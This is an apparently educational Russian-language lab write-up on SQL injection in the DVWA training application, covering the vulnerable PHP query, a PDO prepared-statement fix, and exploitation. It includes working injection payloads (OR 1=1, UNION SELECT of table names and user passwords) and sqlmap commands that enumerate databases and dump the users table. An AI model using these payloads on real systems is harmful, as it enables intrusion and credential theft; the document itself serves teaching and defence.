Вредоносное значение может быть присвоено переменной $id. И затем с помощью этой переменной формируется SQL запрос:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );- OWASP Top 10 2021 Category A3 - Injection
- MITRE, CWE-20 - Improper Input Validation
- MITRE, CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
Сервис статического анализа кода указал следующие проблемы в исследуемом коде:

Разработчикам не нужно настраивать ширину табуляции своих текстовых редакторов, чтобы иметь возможность читать исходный код. Вместо табуляции использовать пробелы.
Некоторые инструменты работают лучше, когда файлы заканчиваются пустой строкой.
Общие соглашения о кодировании позволяют команде эффективно сотрудничать. Это правило вызывает проблемы из-за несоблюдения стандарта форматирования. Значения параметров по умолчанию соответствуют стандарту PSR2.
Применена технология PDO.
PDO (PHP Data Objects — расширение для PHP, предоставляющее разработчику универсальный интерфейс для доступа к различным базам данных).
Принцип работы PDO заключается в том, что он отдельно отправляет инструкцию и отдельно данные, строго указывая, что данные это только данные. Другими словами, при привязке параметра через PDO, вы сообщаете БД, какие значения использовать при выполнении запроса. Затем PDO передаст значение уже скомпилированной инструкции.
Разница между параметрами привязки и простой старой строковой инъекцией заключается в том, что в первом случае значение не интерполируется, а скорее присваивается. Во время выполнения СУБД находит заполнитель и запрашивает значение для использования. Таким образом, нет никаких шансов, что кавычки или другие гадости проберутся в фактическое утверждение.
$db = new PDO('mysql:host=localhost;dbname=dvwa', $user, $password);В нашем запросе передаётся переменная $id, поэтому этот запрос в обязательном порядке должен выполняться только через подготовленные выражения.
Подготовленные выражения в PDO - это обычный SQL запрос, в котором вместо переменной ставится специальный маркер - плейсхолдер.
PDO поддерживает именованные плейсхолдеры, для которых порядок не важен.
В данном случае используем именнованный плейсхолдер :id:
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();Добавлена проверка вводимого значения $id с помощью функции is_numeric(), для установления соответсивия типа числовому значению.
Убраны "запахи кода" в соответсвии со стандартом PSR2. PSR-2 – Рекомендации по оформлению кода.
Цель данных рекомендаций – снижение сложности восприятия кода, написанного разными авторами; она достигается путём рассмотрения серии правил и ожиданий относительно форматирования PHP-кода.
Настроив Burp и включив прокси в браузере при помощи предустановленных расширений мы можем начать перехватывать запросы из браузера.
В Burp Suite, можно увидеть перехваченные данные:

Заменим id=1 на id=1 OR 1=1# (с использованием URL-encode), в ответ получим всех пользователей:
Произведём следующую инъекцию:
id=1 UNION SELECT NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#
В ответ получим названия таблиц:
Произведём следующую инъекцию:
id=1 UNION SELECT USER,PASSWORD FROM users#
В ответ получим пароли пользователей:
Воспользуемся утилитой для поиска уязвимых параметров запроса.
sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p idВ результате поиска выявлена уязвимость типа boolean-based blind и time-based blind у параметра id.
- Boolean based Blind SQL Injection - это техника инъекции, которая заставляет приложение возвращать различное содержимое в зависимости от логического результата (TRUE или FALSE) при запросе к реляционной базе данных.
- Time based Blind SQL Injection - SQL-запросы, которые вынуждают базу данных ждать определенное время, прежде чем ответить. Время ответа укажет злоумышленнику, является ли результат запроса истинным или ложным.
Получим список имеющихся баз данных с помощью команды:
sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id --dbsПолучим список имеющихся таблиц базы данных dvwa с помощью команды:
sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id -D dvwa --tablesЗатем получим строки из таблицы users:
sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id -D dvwa -T users --dumpВ итоге утилита SQLmap осуществила перебор паролей по имеющимся в таблице хэшам, в результате чего вывела и пароли пользователей.








